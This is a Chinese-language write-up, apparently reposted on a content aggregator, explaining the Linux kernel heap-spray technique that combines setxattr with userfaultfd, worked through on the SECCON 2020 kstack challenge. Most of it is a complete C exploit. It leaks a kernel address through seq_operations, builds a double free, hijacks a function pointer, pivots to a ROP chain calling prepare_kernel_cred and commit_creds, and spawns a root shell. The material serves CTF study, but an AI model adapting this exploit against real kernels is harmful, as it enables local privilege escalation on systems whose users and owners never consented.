栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

linux 内核漏洞利用 setxattr + userfaultfd 堆占位技术

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

linux 内核漏洞利用 setxattr + userfaultfd 堆占位技术

附件下载链接
setxattr 系统调用可以进行近乎任意大小的内核空间 object 分配。
调用链如下:

SYS_setxattr()
    path_setxattr()
        setxattr()

其中 setattr 函数关键逻辑如下:

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
     size_t size, int flags)
{
    //...
        kvalue = kvmalloc(size, GFP_KERNEL);
        if (!kvalue)
            return -ENOMEM;
        if (copy_from_user(kvalue, value, size)) {

    //,..

    kvfree(kvalue);

    return error;
}

虽然 setxattr 可以分配任意大小的内核空间 object ,但是分配完之后就立即被释放了,起不到利用效果。因此这里需要配合 userfaultfd 将执行过程卡在 copy_from_user 处。
我们通过 mmap 分配连续的两个页面,在第二个页面上启用 userfaultfd,并在第一个页面的末尾写入我们想要的数据,此时我们调用 setxattr 进行跨页面的拷贝,当 copy_from_user 拷贝到第二个页面时便会触发 userfaultfd,从而让 setxattr 的执行流程卡在此处,这样这个 object 就不会被释放掉,而是可以继续参与我们接下来的利用。

例题:SECCON 2020 kstack
驱动维护一个内存块构成的链表。
内存块大小为 32 字节。

链表结构如下图所示。

主要有 add 和 del 两个功能。
这里注意到 add 功能是先将申请的内存块添加到链表中,然后再 copy_from_user 写入内容;而 del 功能是先找到要删除的内存块 copy_to_user 将内容复制出来再将其从链表中取出并释放掉。
也就是说当无论是 copy_from_user 还是 copy_to_user ,要操作的内存块依旧在链表中,此时借助 userfaultfd 可以再次对其进行 del 操作从而构造出 uaf 和 double free 。
因此漏洞利用思路如下:

  • 泄露内核地址
    首先申请一个 seq_operations 并将其释放,然后 add 将这个释放的 seq_operations 申请出来,在 copy_from_user 处通过 userfaultfd 利用 del 删掉加入链表中的内存块其中 del 的 copy_to_user 泄露出内核地址。

  • 构造 double free
    add 一个内存块然后将其 del ,在 copy_to_user 处通过 userfaultfd 利用 del 将其释放,userfaultfd 完成缺页处理后再次释放造成 double free 。

  • setxattr + userfaultfd 堆占位提权
    构造 double free 之后先是申请 seq_operations ,之后再 setxattr 申请同一个内存块。利用 userfaultfd 编辑 seq_operations 修改 start 函数指针为指向 add rsp val; gadget 将栈迁移到 pt_regs 结构体上提前布置好的 ROP 上完成提权。

这里需要注意的一点是,前面 double free 的内存块申请出来后,freelist 已经被破坏,直接获取 shell 会造成 kernel panic ,因此需要先释放之前申请的一些内存块来供后面的使用。
另外 userfaultf 处理完缺页错误之后最好 return 结束循环处理,不然会出现一些奇怪的问题,比如泄露内核地址没及时 return 会造成 double free 的内存块再第二次申请时申请不出来。(这个地方卡了我很久)

exp 如下:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

size_t prepare_kernel_cred = 0xffffffff81069e00;
size_t commit_creds = 0xffffffff81069c10;
size_t pop_rdi_ret = 0xffffffff81034505;
size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8102d5ce;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;

int dev_fd;

void add(void *a) {
    if (ioctl(dev_fd, 0x57AC0001, a) < 0) {
        puts("[-] add error");
        exit(-1);
    }
}

void del(void *a) {
    if (ioctl(dev_fd, 0x57AC0002, a) < 0) {
        puts("[-] del error");
        exit(-1);
    }
}

char *page;
size_t page_size;
size_t kernel_offset;
int cnt = 0;

void leak_thread(void *arg) {
    long uffd = (long) arg;
    while (true) {
        struct pollfd pollfd;
        pollfd.fd = (int) uffd;
        pollfd.events = POLLIN;
        int nready = poll(&pollfd, 1, -1);
        if (nready == -1) {
            puts("[-] Error at: poll");
            exit(-1);
        }
        static struct uffd_msg msg;
        ssize_t nread = read((int) uffd, &msg, sizeof(msg));
        if (nread == 0) {
            puts("[-] Error at: EOF on userfaultfd!");
            exit(EXIT_FAILURE);
        }
        if (nread == -1) {
            puts("[-] Error at: read");
            exit(-1);
        }
        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            puts("[-] Unexpected event on userfaultfd");
            exit(EXIT_FAILURE);
        }

        puts("[*] add trapped in userfaultfd.");
        del(&kernel_offset);
        printf("[+] leak addr: %pn", kernel_offset);
        kernel_offset -= 0xffffffff8113be80;

        struct uffdio_copy uffdio_copy;
        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
        printf("[*] uffdio_copy.dst: %pn", uffdio_copy.dst);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
            puts("[-] Error at: ioctl-UFFDIO_COPY");
            exit(-1);
        }
        return;
    }
}

void *double_free_thread(void *arg) {
    long uffd = (long) arg;
    while (true) {
        struct pollfd pollfd;
        pollfd.fd = (int) uffd;
        pollfd.events = POLLIN;
        int nready = poll(&pollfd, 1, -1);
        if (nready == -1) {
            puts("[-] Error at: poll");
            exit(-1);
        }
        static struct uffd_msg msg;
        ssize_t nread = read((int) uffd, &msg, sizeof(msg));
        if (nread == 0) {
            puts("[-] Error at: EOF on userfaultfd!");
            exit(EXIT_FAILURE);
        }
        if (nread == -1) {
            puts("[-] Error at: read");
            exit(-1);
        }
        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            puts("[-] Unexpected event on userfaultfd");
            exit(EXIT_FAILURE);
        }

        puts("[*] del trapped in userfaultfd.");
        puts("[*] construct the double free...");
        del(page);

        struct uffdio_copy uffdio_copy;
        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
        printf("[*] uffdio_copy.dst: %pn", uffdio_copy.dst);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
            puts("[-] Error at: ioctl-UFFDIO_COPY");
            exit(-1);
        }
    }
}

int seq_fd_reserve[100], seq_fd;

void *hijack_thread(void *arg) {
    long uffd = (long) arg;
    while (true) {
        struct pollfd pollfd;
        pollfd.fd = (int) uffd;
        pollfd.events = POLLIN;
        int nready = poll(&pollfd, 1, -1);
        if (nready == -1) {
            puts("[-] Error at: poll");
            exit(-1);
        }
        static struct uffd_msg msg;
        ssize_t nread = read((int) uffd, &msg, sizeof(msg));
        if (nread == 0) {
            puts("[-] Error at: EOF on userfaultfd!");
            exit(EXIT_FAILURE);
        }
        if (nread == -1) {
            puts("[-] Error at: read");
            exit(-1);
        }
        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            puts("[-] Unexpected event on userfaultfd");
            exit(EXIT_FAILURE);
        }

        puts("[*] setxattr trapped in userfaultfd.");
        for (int i = 0; i < 100; i++) {
            close(seq_fd_reserve[i]);
        }

        pop_rdi_ret += kernel_offset;
        mov_rdi_rax_pop_rbp_ret += kernel_offset;
        prepare_kernel_cred += kernel_offset;
        commit_creds += kernel_offset;
        swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10;

        __asm__(
        "mov r15,   0xbeefdead;"
        "mov r14,   0x11111111;"
        "mov r13,   pop_rdi_ret;"
        "mov r12,   0;"
        "mov rbp,   prepare_kernel_cred;"
        "mov rbx,   mov_rdi_rax_pop_rbp_ret;"
        "mov r11,   0x66666666;"
        "mov r10,   commit_creds;"
        "mov r9,    swapgs_restore_regs_and_return_to_usermode;"
        "mov r8,    0x99999999;"
        "xor rax,   rax;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   8;"
        "mov rsi,   rsp;"
        "mov rdi,   seq_fd;"
        "syscall");

        puts("[+] back to userland successfully!");

        printf("[+] uid: %d gid: %dn", getuid(), getgid());

        puts("[*] execve root shell now...");
        system("/bin/sh");
    }
}

void register_userfaultfd(void *addr, size_t len, void *(*handler)(void *)) {
    long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1) {
        puts("[-] Error at: userfaultfd");
        exit(-1);
    }
    struct uffdio_api uffdio_api = {.api = UFFD_API, .features = 0};
    if (ioctl((int) uffd, UFFDIO_API, &uffdio_api) == -1) {
        puts("[-] Error at: ioctl-UFFDIO_API");
        exit(-1);
    }
    struct uffdio_register uffdio_register;
    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl((int) uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
        puts("[-] Error at: ioctl-UFFDIO_REGISTER");
        exit(-1);
    }
    static pthread_t monitor_thread;
    if (pthread_create(&monitor_thread, NULL, handler, (void *) uffd) != 0) {
        puts("[-] Error at: pthread_create");
        exit(-1);
    }
}

int main() {
    if ((dev_fd = open("/proc/stack", O_RDONLY)) < 0) {
        puts("[-] open kstack error.");
        exit(-1);
    }
    page = malloc(0x1000);
    page_size = sysconf(_SC_PAGE_SIZE);

    for (int i = 0; i < 100; i++) {
        if ((seq_fd_reserve[i] = open("/proc/self/stat", O_RDONLY)) < 0) {
            puts("[-] open seq_operation error.");
            exit(-1);
        }
    }

    void *leak_uffd_buf = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    register_userfaultfd(leak_uffd_buf, page_size, (void *) leak_thread);

    if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0) {
        puts("[-] open seq_operation error.");
        exit(-1);
    }

    close(seq_fd);
    add(leak_uffd_buf);

    printf("[+] kernel offset: %pn", kernel_offset);

    void *uaf_uffd_buf = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    register_userfaultfd(uaf_uffd_buf, page_size, (void *) double_free_thread);

    add("aaa");
    del(uaf_uffd_buf);
    char *hijack_uffd_buf = (char *) mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1,
                                          0);
    register_userfaultfd(hijack_uffd_buf + page_size, page_size, (void *) hijack_thread);
    *(size_t *) (hijack_uffd_buf + page_size - 8) = 0xffffffff814d51c0 + kernel_offset;

    if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0) {
        puts("[-] open seq_operation error.");
        exit(-1);
    }

    setxattr("/exp", page, hijack_uffd_buf + page_size - 8, 32, 0);

    return 0;
}
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1003042.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号